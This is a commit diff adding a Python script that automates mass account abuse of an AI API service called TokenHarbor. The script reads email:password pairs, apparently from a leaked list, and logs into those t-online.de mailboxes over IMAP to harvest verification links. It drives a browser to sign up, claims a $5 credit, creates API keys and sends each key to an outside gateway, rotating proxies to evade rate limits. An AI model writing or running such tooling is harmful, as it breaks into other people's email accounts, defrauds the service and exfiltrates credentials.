universal-autoreg: initial public release (restored, redacted, hardened)
This commit is contained in:
409
providers/tokenharbor_claim.py
Normal file
409
providers/tokenharbor_claim.py
Normal file
@@ -0,0 +1,409 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
t-online.de TokenHarbor: login → trigger verify email → verify → claim $5 → API key.
|
||||
KEY IMPROVEMENT: clicks "Verify email" button on dashboard to SEND a new verification email,
|
||||
then waits for it via IMAP. This fixes the 85% of accounts that had no pending email.
|
||||
"""
|
||||
import json, time, re, ssl, sys
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from urllib.request import urlopen, Request
|
||||
from urllib.error import HTTPError
|
||||
import websocket
|
||||
import imaplib
|
||||
import email as em
|
||||
import os
|
||||
# Account passwords live in <project root>/.env (gitignored). Guarded import:
|
||||
# python-dotenv is not a declared dependency of these standalone scripts.
|
||||
try:
|
||||
from dotenv import load_dotenv
|
||||
load_dotenv(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env"))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
BASE_URL = "https://tokenharbor.ai"
|
||||
PASSWORD = os.environ["TOKENHARBOR_PASSWORD"]
|
||||
CDP_HOST = "127.0.0.1"
|
||||
CDP_PORT = 9222
|
||||
GATEWAY_URL = "https://reformboss.loc.cc/th"
|
||||
GATEWAY_KEY = "thgw_YOUR_2CAPTCHA_KEY"
|
||||
POOL_FILE = Path("C:/Users/User/Downloads/Telegram Desktop/working_mails.txt")
|
||||
KEYS_FILE = Path(__file__).parent / "tokenharbor_keys.txt"
|
||||
STATE_FILE = Path(__file__).parent / "th_tonline_state.json"
|
||||
|
||||
state = {"done": [], "fail": [], "idx": 0}
|
||||
|
||||
def load_state():
|
||||
global state
|
||||
if STATE_FILE.exists():
|
||||
try: state = json.loads(STATE_FILE.read_text())
|
||||
except: pass
|
||||
|
||||
def save_state():
|
||||
STATE_FILE.write_text(json.dumps(state, indent=2, default=str))
|
||||
|
||||
PROXY_FILE = Path("C:/Users/User/tmp/th_proxies_ok.txt")
|
||||
|
||||
def load_proxies():
|
||||
if not PROXY_FILE.exists():
|
||||
return []
|
||||
seen, out = set(), []
|
||||
for line in PROXY_FILE.read_text().splitlines():
|
||||
p = line.strip()
|
||||
if not p: continue
|
||||
ip = p.split("//")[-1].split(":")[0]
|
||||
if ip in seen: continue
|
||||
seen.add(ip); out.append(p)
|
||||
return out
|
||||
|
||||
def _browser_ws():
|
||||
ver = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/version", timeout=5).read())
|
||||
return websocket.create_connection(ver["webSocketDebuggerUrl"], timeout=15)
|
||||
|
||||
def _bcmd(bws, mid, method, **params):
|
||||
bws.send(json.dumps({"id": mid, "method": method, "params": params}))
|
||||
while True:
|
||||
m = json.loads(bws.recv())
|
||||
if m.get("id") == mid:
|
||||
return m
|
||||
|
||||
def connect_cdp(proxy=None):
|
||||
try:
|
||||
if proxy:
|
||||
addr = proxy.split("//")[-1]
|
||||
bws = _browser_ws()
|
||||
ctx = _bcmd(bws, 1, "Target.createBrowserContext",
|
||||
proxyServer=f"http={addr};https={addr}")
|
||||
ctx_id = ctx.get("result", {}).get("browserContextId")
|
||||
tgt = _bcmd(bws, 2, "Target.createTarget", url="about:blank",
|
||||
browserContextId=ctx_id)
|
||||
tid = tgt.get("result", {}).get("targetId")
|
||||
bws.close()
|
||||
if not tid:
|
||||
raise RuntimeError("no targetId")
|
||||
time.sleep(1.5)
|
||||
tabs = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/list", timeout=5).read())
|
||||
ws_url = next(t["webSocketDebuggerUrl"] for t in tabs if t.get("id") == tid)
|
||||
ws = websocket.create_connection(ws_url, timeout=15)
|
||||
return {"ws": ws, "id": 0, "ctx": ctx_id, "proxy": proxy}
|
||||
req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new", method="PUT")
|
||||
data = json.loads(urlopen(req).read())
|
||||
ws = websocket.create_connection(data["webSocketDebuggerUrl"], timeout=10)
|
||||
return {"ws": ws, "id": 0}
|
||||
except Exception as e:
|
||||
print(f"CDP FAILED: {e}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
def dispose_cdp(cdp):
|
||||
try:
|
||||
cdp["ws"].close()
|
||||
except Exception:
|
||||
pass
|
||||
if cdp.get("ctx"):
|
||||
try:
|
||||
bws = _browser_ws()
|
||||
_bcmd(bws, 99, "Target.disposeBrowserContext", browserContextId=cdp["ctx"])
|
||||
bws.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def js(cdp, code, timeout=15):
|
||||
cdp["id"] = cdp.get("id", 0) + 1
|
||||
mid = cdp["id"]
|
||||
cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate",
|
||||
"params": {"expression": code, "returnByValue": True, "awaitPromise": True}}))
|
||||
start = time.time()
|
||||
while time.time() - start < timeout:
|
||||
cdp["ws"].settimeout(1)
|
||||
try:
|
||||
data = json.loads(cdp["ws"].recv())
|
||||
if data.get("id") == mid:
|
||||
r = data.get("result", {}).get("result", {})
|
||||
return r.get("value"), data.get("subtype")
|
||||
except: pass
|
||||
return None, "timeout"
|
||||
|
||||
def nav(cdp, url):
|
||||
cdp["id"] = cdp.get("id", 0) + 1
|
||||
mid = cdp["id"]
|
||||
cdp["ws"].send(json.dumps({"id": mid, "method": "Page.navigate", "params": {"url": url}}))
|
||||
time.sleep(3)
|
||||
|
||||
def wait_for_verify_email(email_addr, email_pass, timeout=60):
|
||||
"""Wait for a NEW verification email from TokenHarbor via IMAP."""
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
try:
|
||||
mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10)
|
||||
mail.login(email_addr, email_pass)
|
||||
mail.select("INBOX")
|
||||
except Exception as e:
|
||||
print(f" IMAP login failed: {str(e)[:40]}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
# Get baseline UIDs
|
||||
status, baseline = mail.search(None, 'ALL')
|
||||
known_ids = set(baseline[0].split()) if baseline[0] else set()
|
||||
|
||||
start = time.time()
|
||||
while time.time() - start < timeout:
|
||||
try:
|
||||
mail.select("INBOX")
|
||||
status, data = mail.search(None, 'ALL')
|
||||
if status == "OK" and data[0]:
|
||||
new_ids = set(data[0].split()) - known_ids
|
||||
for mid in sorted(new_ids, reverse=True):
|
||||
status, msg_data = mail.fetch(mid, "(RFC822)")
|
||||
if status != "OK": continue
|
||||
msg = em.message_from_bytes(msg_data[0][1])
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() in ("text/plain", "text/html"):
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload: body += payload.decode("utf-8", errors="replace")
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload: body = payload.decode("utf-8", errors="replace")
|
||||
if "tokenharbor" in body.lower() or "verify" in body.lower():
|
||||
links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body)
|
||||
if links:
|
||||
mail.logout()
|
||||
return links[0]
|
||||
time.sleep(3)
|
||||
except Exception as e:
|
||||
time.sleep(5)
|
||||
try: mail.logout()
|
||||
except: pass
|
||||
return None
|
||||
|
||||
def push_key(api_key):
|
||||
try:
|
||||
data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode()
|
||||
req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor",
|
||||
data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST")
|
||||
resp = urlopen(req, timeout=10)
|
||||
return json.loads(resp.read()), resp.status
|
||||
except Exception as e:
|
||||
return {"error": str(e)}, 500
|
||||
|
||||
def process_one(cdp, email, email_pass):
|
||||
label = email.split("@")[0][:12]
|
||||
print(f" [{label}] Login...", file=sys.stderr)
|
||||
|
||||
# Step 1: Login
|
||||
nav(cdp, f"{BASE_URL}/login")
|
||||
time.sleep(4)
|
||||
js(cdp, f"""
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
var e = document.querySelector('input[type="email"]');
|
||||
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
var p = document.querySelector('input[type="password"]');
|
||||
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
""")
|
||||
time.sleep(0.5)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""")
|
||||
time.sleep(6)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
time.sleep(5)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
|
||||
if "Too many attempts" in str(body):
|
||||
return None, "rate_limited"
|
||||
# Login failed -> try SIGNUP with same credentials
|
||||
print(f" Login failed -> trying signup...", file=sys.stderr)
|
||||
nav(cdp, f"{BASE_URL}/login?mode=signup")
|
||||
time.sleep(5)
|
||||
js(cdp, f"""
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
var e = document.querySelector('input[type="email"]');
|
||||
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
var p = document.querySelector('input[type="password"]');
|
||||
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
""")
|
||||
time.sleep(0.5)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.includes('Create account') && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(8)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
time.sleep(5)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
|
||||
if "Too many" in str(body) or "try again in an hour" in str(body):
|
||||
return None, "rate_limited"
|
||||
return None, f"login+signup failed: {str(url)[:80]} | {str(body)[-120:] if body else ''}"
|
||||
print(f" Logged in", file=sys.stderr)
|
||||
|
||||
# Step 1.5: Enable free models (Data & privacy switch on dashboard)
|
||||
nav(cdp, f"{BASE_URL}/dashboard")
|
||||
time.sleep(4)
|
||||
fm, _ = js(cdp, """
|
||||
(function(){
|
||||
var s = document.querySelector('button[aria-label="Enable free models"]');
|
||||
if(!s) return JSON.stringify({found:false});
|
||||
var before = s.getAttribute('aria-checked');
|
||||
if(before !== 'true') { s.click(); }
|
||||
return JSON.stringify({found:true, before:before});
|
||||
})()
|
||||
""")
|
||||
time.sleep(2)
|
||||
fm2, _ = js(cdp, """
|
||||
(function(){
|
||||
var s = document.querySelector('button[aria-label="Enable free models"]');
|
||||
return s ? s.getAttribute('aria-checked') : 'missing';
|
||||
})()
|
||||
""")
|
||||
print(f" Free models: {fm} -> after={fm2}", file=sys.stderr)
|
||||
|
||||
# Step 2: Check if already verified
|
||||
already_verified = False
|
||||
body, _ = js(cdp, "document.body.innerText")
|
||||
if body and "Verify your email" in str(body):
|
||||
print(f" Needs verification — clicking button...", file=sys.stderr)
|
||||
# Click "Verify email" button to send new email
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) {
|
||||
b.click(); break;
|
||||
}
|
||||
}""")
|
||||
time.sleep(2)
|
||||
# Wait for email to arrive
|
||||
print(f" Waiting for new verify email...", file=sys.stderr)
|
||||
verify_link = wait_for_verify_email(email, email_pass, timeout=60)
|
||||
if verify_link:
|
||||
nav(cdp, verify_link)
|
||||
time.sleep(4)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "verify=success" in str(url) or "dashboard" in str(url):
|
||||
print(f" Verified!", file=sys.stderr)
|
||||
already_verified = True
|
||||
else:
|
||||
print(f" Verify link failed: {str(url)[:60]}", file=sys.stderr)
|
||||
else:
|
||||
print(f" No verify email arrived in 60s", file=sys.stderr)
|
||||
else:
|
||||
already_verified = "verify" not in str(body).lower() or "verified" in str(body).lower()
|
||||
print(f" Already verified" if already_verified else f" Status unclear", file=sys.stderr)
|
||||
|
||||
# Step 3: Claim $5 gift
|
||||
if already_verified:
|
||||
nav(cdp, f"{BASE_URL}/dashboard")
|
||||
time.sleep(4)
|
||||
# Check for gift
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) {
|
||||
b.click(); break; }
|
||||
}""")
|
||||
time.sleep(2)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) {
|
||||
b.click(); break; }
|
||||
}""")
|
||||
time.sleep(3)
|
||||
print(f" $5 claimed!", file=sys.stderr)
|
||||
|
||||
# Step 4: Create API key
|
||||
nav(cdp, f"{BASE_URL}/dashboard/api-keys")
|
||||
time.sleep(8)
|
||||
for _ in range(10):
|
||||
t, _ = js(cdp, "document.body.innerText")
|
||||
if "API keys" in str(t) and "Create and manage" in str(t):
|
||||
break
|
||||
time.sleep(2)
|
||||
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(3)
|
||||
|
||||
js(cdp, f"""
|
||||
var inputs = document.querySelectorAll('input[type="text"]');
|
||||
for(var inp of inputs) {{
|
||||
if(inp.offsetParent !== null) {{
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
nativeSet.call(inp, '{label}');
|
||||
inp.dispatchEvent(new Event('input', {{bubbles:true}}));
|
||||
inp.dispatchEvent(new Event('change', {{bubbles:true}}));
|
||||
break;
|
||||
}}
|
||||
}}
|
||||
""")
|
||||
time.sleep(2)
|
||||
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(5)
|
||||
|
||||
page, _ = js(cdp, "document.body.innerText")
|
||||
match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page))
|
||||
api_key = match.group(0) if match else None
|
||||
|
||||
if api_key:
|
||||
with open(KEYS_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n")
|
||||
result, status = push_key(api_key)
|
||||
pushed = status == 200
|
||||
print(f" KEY: {api_key[:25]}... pushed={pushed}", file=sys.stderr)
|
||||
return api_key, None
|
||||
|
||||
return None, "no key"
|
||||
|
||||
def worker(count):
|
||||
global state
|
||||
load_state()
|
||||
|
||||
proxies = load_proxies()
|
||||
pidx = 0
|
||||
print(f"Proxies loaded: {len(proxies)}", file=sys.stderr)
|
||||
|
||||
# Load pool
|
||||
pool = []
|
||||
with open(POOL_FILE, "r", encoding="utf-8") as f:
|
||||
for line in f:
|
||||
if ":" in line and "@" in line:
|
||||
parts = line.strip().split(":", 1)
|
||||
if len(parts) == 2:
|
||||
email, pwd = parts
|
||||
if "t-online.de" in email:
|
||||
pool.append((email, pwd))
|
||||
|
||||
done_emails = set(state.get("done", []))
|
||||
fail_emails = set(f["email"] if isinstance(f, dict) else f for f in state.get("fail", []))
|
||||
skip = done_emails | fail_emails
|
||||
todo = [(e, p) for e, p in pool if e not in skip][:count]
|
||||
|
||||
print(f"Processing {len(todo)} accounts...", file=sys.stderr)
|
||||
|
||||
for i, (email, pwd) in enumerate(todo):
|
||||
proxy = proxies[pidx % len(proxies)] if proxies else None
|
||||
print(f"[{i+1}/{len(todo)}] {email} via {proxy or 'DIRECT'}", file=sys.stderr)
|
||||
cdp = connect_cdp(proxy) if proxy else connect_cdp()
|
||||
if not cdp:
|
||||
cdp = connect_cdp()
|
||||
if not cdp:
|
||||
print("CDP dead, abort", file=sys.stderr)
|
||||
break
|
||||
key, err = process_one(cdp, email, pwd)
|
||||
dispose_cdp(cdp)
|
||||
if key:
|
||||
state["done"].append(email)
|
||||
else:
|
||||
state["fail"].append({"email": email, "error": err})
|
||||
if err == "rate_limited":
|
||||
pidx += 1
|
||||
print(f" rate_limited -> next proxy", file=sys.stderr)
|
||||
save_state()
|
||||
pidx += 1
|
||||
time.sleep(9)
|
||||
verified = len([x for x in state["done"] if x])
|
||||
print(f"\nDone: {len(state['done'])} OK, {len(state['fail'])} FAIL", file=sys.stderr)
|
||||
|
||||
if __name__ == "__main__":
|
||||
count = int(sys.argv[1]) if len(sys.argv) > 1 else 100
|
||||
worker(count)
|
||||
Reference in New Issue
Block a user